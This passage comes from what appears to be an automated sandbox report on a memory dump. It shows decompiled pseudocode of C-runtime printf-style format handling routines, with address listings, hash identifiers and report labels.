													_t104 = 0x41;
													__eflags = _t123 - _t104;
													if(_t123 != _t104) {
														goto L60;
													}
													goto L59;
												}
												__eflags = _t68;
												if(_t68 == 0) {
													goto L61;
												}
												goto L57;
											}
											_t85 = 0x41;
											__eflags = _t123 - _t85;
											if(_t123 == _t85) {
												goto L54;
											}
											_t68 = 0;
											goto L55;
										}
										_t101 = 1;
										goto L51;
									}
									_t86 = 0x58;
									__eflags = _t123 - _t86;
									if(_t123 != _t86) {
										goto L50;
									}
									goto L48;
								}
								_t88 = _t100 >> 6;
								__eflags = 1 & _t88;
								if((1 & _t88) == 0) {
									__eflags = 1 & _t100;
									if((1 & _t100) == 0) {
										_t90 = _t100 >> 1;
										__eflags = 1 & _t90;
										if((1 & _t90) != 0) {
											_v16 = _t127;
											_t110 = 1;
											_v20 = 1;
										}
										goto L46;
									}
									_push(0x2b);
									L43:
									_pop(_t91);
									_t110 = 1;
									_v16 = _t91;
									_v20 = 1;
									goto L46;
								}
								_push(0x2d);
								goto L43;
							}
							L11:
							_t62 = 0;
							goto L71;
						}
						_t93 = _t60;
						__eflags = _t93;
						if(__eflags == 0) {
							L29:
							_push(_t99);
							_push(0xa);
							L30:
							_t61 = E00C7227D(_t130, __eflags);
							goto L10;
						}
						__eflags = _t93 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C732DB(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C7090B(_t130);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t130 + 0x20;
						 *_t3 =  *(_t130 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C72DD9(__ecx, _t123);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C73191(__ecx);
					goto L10;
				}
				if(_t134 == 0) {
					goto L28;
				}
				_t135 = _t59 - _t106;
				if(_t135 > 0) {
					_t95 = _t59 - 0x5a;
					__eflags = _t95;
					if(_t95 == 0) {
						_t61 = E00C6FDC1(__ecx);
						goto L10;
					}
					_t96 = _t95 - 7;
					__eflags = _t96;
					if(_t96 == 0) {
						goto L31;
					}
					__eflags = _t96;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C715DD(_t130, _t123, __eflags, _t99);
					goto L10;
				}
				if(_t135 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t123) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6e89f
0x00c6e8a7
0x00c6e8ae
0x00c6e8b3
0x00c6e8b5
0x00c6e8b9
0x00c6e8bc
0x00c6e8c0
0x00c6e8c1
0x00c6e8c4
0x00c6e931
0x00c6e934
0x00c6e98b
0x00c6e98b
0x00c6e98e
0x00c6e8f2
0x00c6e8f4
0x00c6e8f9
0x00c6e8fb
0x00c6e9a9
0x00c6e9ac
0x00c6eaf4
0x00c6eaf4
0x00c6eaf6
0x00c6eb03
0x00c6eb03
0x00c6e9b2
0x00c6e9b4
0x00c6e9b7
0x00c6e9bd
0x00c6e9c1
0x00c6e9c4
0x00c6e9c7
0x00c6e9cc
0x00c6e9cd
0x00c6e9cf
0x00c6ea01
0x00c6ea01
0x00c6ea07
0x00c6ea08
0x00c6ea0b
0x00c6ea15
0x00c6ea17
0x00c6ea1a
0x00c6ea1c
0x00c6ea22
0x00c6ea22
0x00c6ea22
0x00c6ea24
0x00c6ea24
0x00c6ea27
0x00c6ea35
0x00c6ea35
0x00c6ea37
0x00c6ea37
0x00c6ea3e
0x00c6ea40
0x00c6ea46
0x00c6ea4b
0x00c6ea50
0x00c6ea51
0x00c6ea54
0x00c6ea5e
0x00c6ea5e
0x00c6ea60
0x00c6ea60
0x00c6ea65
0x00c6ea65
0x00c6ea68
0x00c6ea6b
0x00c6ea6e
0x00c6ea74
0x00c6ea7a
0x00c6ea7c
0x00c6ea80
0x00c6ea87
0x00c6ea8c
0x00c6ea8f
0x00c6ea8f
0x00c6ea95
0x00c6eaa1
0x00c6eaa6
0x00c6eaab
0x00c6eaae
0x00c6eab0
0x00c6eab2
0x00c6eab5
0x00c6eab8
0x00c6eac3
0x00c6eac8
0x00c6eac8
0x00c6eab8
0x00c6eacf
0x00c6ead4
0x00c6ead7
0x00c6eada
0x00c6eadf
0x00c6eae2
0x00c6eae4
0x00c6eaeb
0x00c6eaf0
0x00c6eae4
0x00c6eaf3
0x00000000
0x00c6eaf3
0x00c6ea58
0x00c6ea59
0x00c6ea5c
0x00000000
0x00000000
0x00000000
0x00c6ea5c
0x00c6ea42
0x00c6ea44
0x00000000
0x00000000
0x00000000
0x00c6ea44
0x00c6ea2b
0x00c6ea2c
0x00c6ea2f
0x00000000
0x00000000
0x00c6ea31
0x00000000
0x00c6ea31
0x00c6ea1e
0x00000000
0x00c6ea1e
0x00c6ea0f
0x00c6ea10
0x00c6ea13
0x00000000
0x00000000
0x00000000
0x00c6ea13
0x00c6e9d3
0x00c6e9d6
0x00c6e9d8
0x00c6e9de
0x00c6e9e0
0x00c6e9f2
0x00c6e9f4
0x00c6e9f6
0x00c6e9f8
0x00c6e9fc
0x00c6e9fe
0x00c6e9fe
0x00000000
0x00c6e9f6
0x00c6e9e2
0x00c6e9e4
0x00c6e9e4
0x00c6e9e5
0x00c6e9e7
0x00c6e9eb
0x00000000
0x00c6e9eb
0x00c6e9da
0x00000000
0x00c6e9da
0x00c6e901
0x00c6e901
0x00000000
0x00c6e901
0x00c6e995
0x00c6e995
0x00c6e998
0x00c6e967
0x00c6e967
0x00c6e968
0x00c6e96a
0x00c6e96c
0x00000000
0x00c6e96c
0x00c6e99a
0x00c6e99d
0x00000000
0x00000000
0x00c6e9a3
0x00c6e90a
0x00c6e90a
0x00000000
0x00c6e90a
0x00c6e936
0x00c6e981
0x00000000
0x00c6e981
0x00c6e938
0x00c6e93b
0x00000000
0x00000000
0x00c6e93d
0x00c6e940
0x00c6e973
0x00c6e975
0x00000000
0x00c6e975
0x00c6e942
0x00c6e945
0x00c6e963
0x00c6e963
0x00c6e963
0x00c6e963
0x00000000
0x00c6e963
0x00c6e947
0x00c6e94a
0x00c6e95c
0x00000000
0x00c6e95c
0x00c6e94c
0x00c6e94f
0x00000000
0x00000000
0x00c6e953
0x00000000
0x00c6e953
0x00c6e8c6
0x00000000
0x00000000
0x00c6e8cc
0x00c6e8ce
0x00c6e90e
0x00c6e90e
0x00c6e911
0x00c6e92a
0x00000000
0x00c6e92a
0x00c6e913
0x00c6e913
0x00c6e916
0x00000000
0x00000000
0x00c6e919
0x00c6e91c
0x00000000
0x00000000
0x00c6e91e
0x00c6e921
0x00000000
0x00c6e921
0x00c6e8d0
0x00c6e908
0x00000000
0x00c6e908
0x00c6e8d4
0x00000000
0x00000000
0x00c6e8dd
0x00000000
0x00000000
0x00c6e8e2
0x00000000
0x00000000
0x00c6e8e7
0x00000000
0x00000000
0x00c6e8f0
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6EA37

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 088b5c5219e8064fb7314d946aee84d5f98d140ed9c985db361400e2256e4f7a
Instruction ID: 9af8537b0926d2bea513b3cc23ba70f314cc65b017ceef57396fa7698de970b6
Opcode Fuzzy Hash: 088b5c5219e8064fb7314d946aee84d5f98d140ed9c985db361400e2256e4f7a
Instruction Fuzzy Hash: 506188387003099ADF389AA988D57FEB795BF41704F54452FE462EB2C2D662DF46E301

Uniqueness

Uniqueness Score: -1.00%

Function 00C6ED78, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00C6ED78(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed char _t65;
				signed char _t67;
				signed int _t68;
				short _t70;
				void* _t71;
				signed char _t77;
				signed char _t80;
				void* _t85;
				void* _t86;
				signed char _t88;
				signed char _t90;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t99;
				unsigned int _t100;
				signed int _t101;
				void* _t104;
				void* _t106;
				signed int _t110;
				unsigned int _t112;
				signed int* _t114;
				signed char _t115;
				signed int _t123;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;
				void* _t134;
				void* _t135;

				_t126 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t131;
				_t130 = __ecx;
				_t99 = 0;
				_t123 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t134 = _t59 - 0x64;
				if(_t134 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C7371E(_t130);
							L10:
							if(_t61 != 0) {
								__eflags =  *((intOrPtr*)(_t130 + 0x30)) - _t99;
								if( *((intOrPtr*)(_t130 + 0x30)) != _t99) {
									L70:
									_t62 = 1;
									L71:
									return E00C572B1(_t62, _t99, _v8 ^ _t131, _t123, _t126, _t130);
								}
								_t110 = _t99;
								_v16 = _t99;
								_v12 = _t99;
								_t100 =  *(_t130 + 0x20);
								_push(_t126);
								_v20 = _t110;
								_t65 = _t100 >> 4;
								_t127 = 0x20;
								__eflags = 1 & _t65;
								if((1 & _t65) == 0) {
									L46:
									_t123 =  *(_t130 + 0x32) & 0x0000ffff;
									_t128 = 0x78;
									__eflags = _t123 - _t128;
									if(_t123 == _t128) {
										L48:
										_t67 = _t100 >> 5;
										__eflags = _t67 & 0x00000001;
										if((_t67 & 0x00000001) == 0) {
											L50:
											_t101 = 0;
											__eflags = 0;
											L51:
											__eflags = _t123 - 0x61;
											if(_t123 == 0x61) {
												L54:
												_t68 = 1;
												L55:
												_v24 = 0x30;
												__eflags = _t101;
												if(_t101 != 0) {
													L57:
													 *((short*)(_t131 + _t110 * 2 - 0xc)) = _v24;
													_t70 = 0x58;
													__eflags = _t123 - _t70;
													if(_t123 == _t70) {
														L59:
														_t128 = _t70;
														L60:
														 *((short*)(_t131 + _t110 * 2 - 0xa)) = _t128;
														_t110 = _t110 + 2;
														__eflags = _t110;
														_v20 = _t110;
														L61:
														_t71 = _t130 + 0x18;
														_t129 = _t130 + 0x448;
														_t99 =  *((intOrPtr*)(_t130 + 0x24)) -  *((intOrPtr*)(_t130 + 0x38)) - _t110;
														__eflags =  *(_t130 + 0x20) & 0x0000000c;
														if(( *(_t130 + 0x20) & 0x0000000c) == 0) {
															E00C68F0E(_t129, 0x20, _t99, _t71);
															_t110 = _v20;
															_t132 = _t132 + 0x10;
														}
														_push(_t130 + 0xc);
														E00C7564F(_t129,  &_v16, _t110, _t130 + 0x18);
														_t112 =  *(_t130 + 0x20);
														_t77 = _t112 >> 3;
														__eflags = _t77 & 0x00000001;
														if((_t77 & 0x00000001) != 0) {
															_t115 = _t112 >> 2;
															__eflags = _t115 & 0x00000001;
															if((_t115 & 0x00000001) == 0) {
																E00C68F0E(_t129, _v24, _t99, _t130 + 0x18);
																_t132 = _t132 + 0x10;
															}
														}
														E00C753D7(_t130, _t123, 0);
														_t114 = _t130 + 0x18;
														__eflags =  *_t114;
														if( *_t114 >= 0) {
															_t80 =  *(_t130 + 0x20) >> 2;
															__eflags = _t80 & 0x00000001;
															if((_t80 & 0x00000001) != 0) {
																E00C68F0E(_t129, 0x20, _t99, _t114);
															}
														}
														_pop(_t126);
														goto L70;
													}
													_t104 = 0x41;
													__eflags = _t123 - _t104;
													if(_t123 != _t104) {
														goto L60;
													}
													goto L59;
												}
												__eflags = _t68;
												if(_t68 == 0) {
													goto L61;
												}
												goto L57;
											}
											_t85 = 0x41;
											__eflags = _t123 - _t85;
											if(_t123 == _t85) {
												goto L54;
											}
											_t68 = 0;
											goto L55;
										}
										_t101 = 1;
										goto L51;
									}
									_t86 = 0x58;
									__eflags = _t123 - _t86;
									if(_t123 != _t86) {
										goto L50;
									}
									goto L48;
								}
								_t88 = _t100 >> 6;
								__eflags = 1 & _t88;
								if((1 & _t88) == 0) {
									__eflags = 1 & _t100;
									if((1 & _t100) == 0) {
										_t90 = _t100 >> 1;
										__eflags = 1 & _t90;
										if((1 & _t90) != 0) {
											_v16 = _t127;
											_t110 = 1;
											_v20 = 1;
										}
										goto L46;
									}
									_push(0x2b);
									L43:
									_pop(_t91);
									_t110 = 1;
									_v16 = _t91;
									_v20 = 1;
									goto L46;
								}
								_push(0x2d);
								goto L43;
							}
							L11:
							_t62 = 0;
							goto L71;
						}
						_t93 = _t60;
						__eflags = _t93;
						if(__eflags == 0) {
							L29:
							_push(_t99);
							_push(0xa);
							L30:
							_t61 = E00C72557(_t130, __eflags);
							goto L10;
						}
						__eflags = _t93 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C7330B(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C70C01(_t130);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t130 + 0x20;
						 *_t3 =  *(_t130 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C72EE4(__ecx, _t123);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C731CF(__ecx);
					goto L10;
				}
				if(_t134 == 0) {
					goto L28;
				}
				_t135 = _t59 - _t106;
				if(_t135 > 0) {
					_t95 = _t59 - 0x5a;
					__eflags = _t95;
					if(_t95 == 0) {
						_t61 = E00C6FEF3(__ecx);
						goto L10;
					}
					_t96 = _t95 - 7;
					__eflags = _t96;
					if(_t96 == 0) {
						goto L31;
					}
					__eflags = _t96;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C71720(_t130, _t123, __eflags, _t99);
					goto L10;
				}
				if(_t135 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t123) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6ed78
0x00c6ed80
0x00c6ed87
0x00c6ed8c
0x00c6ed8e
0x00c6ed92
0x00c6ed95
0x00c6ed99
0x00c6ed9a
0x00c6ed9d
0x00c6ee0a
0x00c6ee0d
0x00c6ee64
0x00c6ee64
0x00c6ee67
0x00c6edcb
0x00c6edcd
0x00c6edd2
0x00c6edd4
0x00c6ee82
0x00c6ee85
0x00c6efcd
0x00c6efcd
0x00c6efcf
0x00c6efdc
0x00c6efdc
0x00c6ee8b
0x00c6ee8d
0x00c6ee90
0x00c6ee96
0x00c6ee9a
0x00c6ee9d
0x00c6eea0
0x00c6eea5
0x00c6eea6
0x00c6eea8
0x00c6eeda
0x00c6eeda
0x00c6eee0
0x00c6eee1
0x00c6eee4
0x00c6eeee
0x00c6eef0
0x00c6eef3
0x00c6eef5
0x00c6eefb
0x00c6eefb
0x00c6eefb
0x00c6eefd
0x00c6eefd
0x00c6ef00
0x00c6ef0e
0x00c6ef0e
0x00c6ef10
0x00c6ef10
0x00c6ef17
0x00c6ef19
0x00c6ef1f
0x00c6ef24
0x00c6ef29
0x00c6ef2a
0x00c6ef2d
0x00c6ef37
0x00c6ef37
0x00c6ef39
0x00c6ef39
0x00c6ef3e
0x00c6ef3e
0x00c6ef41
0x00c6ef44
0x00c6ef47
0x00c6ef4d
0x00c6ef53
0x00c6ef55
0x00c6ef59
0x00c6ef60
0x00c6ef65
0x00c6ef68
0x00c6ef68
0x00c6ef6e
0x00c6ef7a
0x00c6ef7f
0x00c6ef84
0x00c6ef87
0x00c6ef89
0x00c6ef8b
0x00c6ef8e
0x00c6ef91
0x00c6ef9c
0x00c6efa1
0x00c6efa1
0x00c6ef91
0x00c6efa8
0x00c6efad
0x00c6efb0
0x00c6efb3
0x00c6efb8
0x00c6efbb
0x00c6efbd
0x00c6efc4
0x00c6efc9
0x00c6efbd
0x00c6efcc
0x00000000
0x00c6efcc
0x00c6ef31
0x00c6ef32
0x00c6ef35
0x00000000
0x00000000
0x00000000
0x00c6ef35
0x00c6ef1b
0x00c6ef1d
0x00000000
0x00000000
0x00000000
0x00c6ef1d
0x00c6ef04
0x00c6ef05
0x00c6ef08
0x00000000
0x00000000
0x00c6ef0a
0x00000000
0x00c6ef0a
0x00c6eef7
0x00000000
0x00c6eef7
0x00c6eee8
0x00c6eee9
0x00c6eeec
0x00000000
0x00000000
0x00000000
0x00c6eeec
0x00c6eeac
0x00c6eeaf
0x00c6eeb1
0x00c6eeb7
0x00c6eeb9
0x00c6eecb
0x00c6eecd
0x00c6eecf
0x00c6eed1
0x00c6eed5
0x00c6eed7
0x00c6eed7
0x00000000
0x00c6eecf
0x00c6eebb
0x00c6eebd
0x00c6eebd
0x00c6eebe
0x00c6eec0
0x00c6eec4
0x00000000
0x00c6eec4
0x00c6eeb3
0x00000000
0x00c6eeb3
0x00c6edda
0x00c6edda
0x00000000
0x00c6edda
0x00c6ee6e
0x00c6ee6e
0x00c6ee71
0x00c6ee40
0x00c6ee40
0x00c6ee41
0x00c6ee43
0x00c6ee45
0x00000000
0x00c6ee45
0x00c6ee73
0x00c6ee76
0x00000000
0x00000000
0x00c6ee7c
0x00c6ede3
0x00c6ede3
0x00000000
0x00c6ede3
0x00c6ee0f
0x00c6ee5a
0x00000000
0x00c6ee5a
0x00c6ee11
0x00c6ee14
0x00000000
0x00000000
0x00c6ee16
0x00c6ee19
0x00c6ee4c
0x00c6ee4e
0x00000000
0x00c6ee4e
0x00c6ee1b
0x00c6ee1e
0x00c6ee3c
0x00c6ee3c
0x00c6ee3c
0x00c6ee3c
0x00000000
0x00c6ee3c
0x00c6ee20
0x00c6ee23
0x00c6ee35
0x00000000
0x00c6ee35
0x00c6ee25
0x00c6ee28
0x00000000
0x00000000
0x00c6ee2c
0x00000000
0x00c6ee2c
0x00c6ed9f
0x00000000
0x00000000
0x00c6eda5
0x00c6eda7
0x00c6ede7
0x00c6ede7
0x00c6edea
0x00c6ee03
0x00000000
0x00c6ee03
0x00c6edec
0x00c6edec
0x00c6edef
0x00000000
0x00000000
0x00c6edf2
0x00c6edf5
0x00000000
0x00000000
0x00c6edf7
0x00c6edfa
0x00000000
0x00c6edfa
0x00c6eda9
0x00c6ede1
0x00000000
0x00c6ede1
0x00c6edad
0x00000000
0x00000000
0x00c6edb6
0x00000000
0x00000000
0x00c6edbb
0x00000000
0x00000000
0x00c6edc0
0x00000000
0x00000000
0x00c6edc9
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6EF10

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b8e7e8006ecc5eca6284367277753f36b8bf6663f32b31344d44276de64b7127
Instruction ID: f4c9a22fa2d3bfc8e3122a218588892cdbc989525a9431759f755886dd176f7a
Opcode Fuzzy Hash: b8e7e8006ecc5eca6284367277753f36b8bf6663f32b31344d44276de64b7127
Instruction Fuzzy Hash: 1361797870020897DB389A6988D57BEB3E5EF41704F14482FE466DB2C0D762DF469302

Uniqueness

Uniqueness Score: -1.00%

Function 00C6EFDD, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00C6EFDD(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed char _t65;
				signed char _t67;
				signed int _t68;
				short _t70;
				void* _t71;
				signed char _t77;
				signed char _t80;
				void* _t85;
				void* _t86;
				signed char _t88;
				signed char _t90;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t99;
				unsigned int _t100;
				signed int _t101;
				void* _t104;
				void* _t106;
				signed int _t110;
				unsigned int _t112;
				signed int* _t114;
				signed char _t115;
				signed int _t123;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;
				void* _t134;
				void* _t135;

				_t126 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t131;
				_t130 = __ecx;
				_t99 = 0;
				_t123 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t134 = _t59 - 0x64;
				if(_t134 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C73791(_t130);
							L10:
							if(_t61 != 0) {
								__eflags =  *((intOrPtr*)(_t130 + 0x30)) - _t99;
								if( *((intOrPtr*)(_t130 + 0x30)) != _t99) {
									L70:
									_t62 = 1;
									L71:
									return E00C572B1(_t62, _t99, _v8 ^ _t131, _t123, _t126, _t130);
								}
								_t110 = _t99;
								_v16 = _t99;
								_v12 = _t99;
								_t100 =  *(_t130 + 0x20);
								_push(_t126);
								_v20 = _t110;
								_t65 = _t100 >> 4;
								_t127 = 0x20;
								__eflags = 1 & _t65;
								if((1 & _t65) == 0) {
									L46:
									_t123 =  *(_t130 + 0x32) & 0x0000ffff;
									_t128 = 0x78;
									__eflags = _t123 - _t128;
									if(_t123 == _t128) {
										L48:
										_t67 = _t100 >> 5;
										__eflags = _t67 & 0x00000001;
										if((_t67 & 0x00000001) == 0) {
											L50:
											_t101 = 0;
											__eflags = 0;
											L51:
											__eflags = _t123 - 0x61;
											if(_t123 == 0x61) {
												L54:
												_t68 = 1;
												L55:
												_v24 = 0x30;
												__eflags = _t101;
												if(_t101 != 0) {
													L57:
													 *((short*)(_t131 + _t110 * 2 - 0xc)) = _v24;
													_t70 = 0x58;
													__eflags = _t123 - _t70;
													if(_t123 == _t70) {
														L59:
														_t128 = _t70;
														L60:
														 *((short*)(_t131 + _t110 * 2 - 0xa)) = _t128;
														_t110 = _t110 + 2;
														__eflags = _t110;
														_v20 = _t110;
														L61:
														_t71 = _t130 + 0x18;
														_t129 = _t130 + 0x448;
														_t99 =  *((intOrPtr*)(_t130 + 0x24)) -  *((intOrPtr*)(_t130 + 0x38)) - _t110;
														__eflags =  *(_t130 + 0x20) & 0x0000000c;
														if(( *(_t130 + 0x20) & 0x0000000c) == 0) {
															E00C68F7A(_t129, 0x20, _t99, _t71);
															_t110 = _v20;
															_t132 = _t132 + 0x10;
														}
														_push(_t130 + 0xc);
														E00C756E2(_t129,  &_v16, _t110, _t130 + 0x18);
														_t112 =  *(_t130 + 0x20);
														_t77 = _t112 >> 3;
														__eflags = _t77 & 0x00000001;
														if((_t77 & 0x00000001) != 0) {
															_t115 = _t112 >> 2;
															__eflags = _t115 & 0x00000001;
															if((_t115 & 0x00000001) == 0) {
																E00C68F7A(_t129, _v24, _t99, _t130 + 0x18);
																_t132 = _t132 + 0x10;
															}
														}
														E00C7546A(_t130, _t123, 0);
														_t114 = _t130 + 0x18;
														__eflags =  *_t114;
														if( *_t114 >= 0) {
															_t80 =  *(_t130 + 0x20) >> 2;
															__eflags = _t80 & 0x00000001;
															if((_t80 & 0x00000001) != 0) {
																E00C68F7A(_t129, 0x20, _t99, _t114);
															}
														}
														_pop(_t126);
														goto L70;
													}
													_t104 = 0x41;
													__eflags = _t123 - _t104;
													if(_t123 != _t104) {
														goto L60;
													}
													goto L59;
												}
												__eflags = _t68;
												if(_t68 == 0) {
													goto L61;
												}
												goto L57;
											}
											_t85 = 0x41;
											__eflags = _t123 - _t85;
											if(_t123 == _t85) {
												goto L54;
											}
											_t68 = 0;
											goto L55;
										}
										_t101 = 1;
										goto L51;
									}
									_t86 = 0x58;
									__eflags = _t123 - _t86;
									if(_t123 != _t86) {
										goto L50;
									}
									goto L48;
								}
								_t88 = _t100 >> 6;
								__eflags = 1 & _t88;
								if((1 & _t88) == 0) {
									__eflags = 1 & _t100;
									if((1 & _t100) == 0) {
										_t90 = _t100 >> 1;
										__eflags = 1 & _t90;
										if((1 & _t90) != 0) {
											_v16 = _t127;
											_t110 = 1;
											_v20 = 1;
										}
										goto L46;
									}
									_push(0x2b);
									L43:
									_pop(_t91);
									_t110 = 1;
									_v16 = _t91;
									_v20 = 1;
									goto L46;
								}
								_push(0x2d);
								goto L43;
							}
							L11:
							_t62 = 0;
							goto L71;
						}
						_t93 = _t60;
						__eflags = _t93;
						if(__eflags == 0) {
							L29:
							_push(_t99);
							_push(0xa);
							L30:
							_t61 = E00C726AC(_t130, __eflags);
							goto L10;
						}
						__eflags = _t93 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C73323(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C70D66(_t130);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t130 + 0x20;
						 *_t3 =  *(_t130 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C72F58(__ecx, _t123);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C731EE(__ecx);
					goto L10;
				}
				if(_t134 == 0) {
					goto L28;
				}
				_t135 = _t59 - _t106;
				if(_t135 > 0) {
					_t95 = _t59 - 0x5a;
					__eflags = _t95;
					if(_t95 == 0) {
						_t61 = E00C6FF4D(__ecx);
						goto L10;
					}
					_t96 = _t95 - 7;
					__eflags = _t96;
					if(_t96 == 0) {
						goto L31;
					}
					__eflags = _t96;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C717B6(_t130, _t123, __eflags, _t99);
					goto L10;
				}
				if(_t135 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t123) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6efdd
0x00c6efe5
0x00c6efec
0x00c6eff1
0x00c6eff3
0x00c6eff7
0x00c6effa
0x00c6effe
0x00c6efff
0x00c6f002
0x00c6f06f
0x00c6f072
0x00c6f0c9
0x00c6f0c9
0x00c6f0cc
0x00c6f030
0x00c6f032
0x00c6f037
0x00c6f039
0x00c6f0e7
0x00c6f0ea
0x00c6f232
0x00c6f232
0x00c6f234
0x00c6f241
0x00c6f241
0x00c6f0f0
0x00c6f0f2
0x00c6f0f5
0x00c6f0fb
0x00c6f0ff
0x00c6f102
0x00c6f105
0x00c6f10a
0x00c6f10b
0x00c6f10d
0x00c6f13f
0x00c6f13f
0x00c6f145
0x00c6f146
0x00c6f149
0x00c6f153
0x00c6f155
0x00c6f158
0x00c6f15a
0x00c6f160
0x00c6f160
0x00c6f160
0x00c6f162
0x00c6f162
0x00c6f165
0x00c6f173
0x00c6f173
0x00c6f175
0x00c6f175
0x00c6f17c
0x00c6f17e
0x00c6f184
0x00c6f189
0x00c6f18e
0x00c6f18f
0x00c6f192
0x00c6f19c
0x00c6f19c
0x00c6f19e
0x00c6f19e
0x00c6f1a3
0x00c6f1a3
0x00c6f1a6
0x00c6f1a9
0x00c6f1ac
0x00c6f1b2
0x00c6f1b8
0x00c6f1ba
0x00c6f1be
0x00c6f1c5
0x00c6f1ca
0x00c6f1cd
0x00c6f1cd
0x00c6f1d3
0x00c6f1df
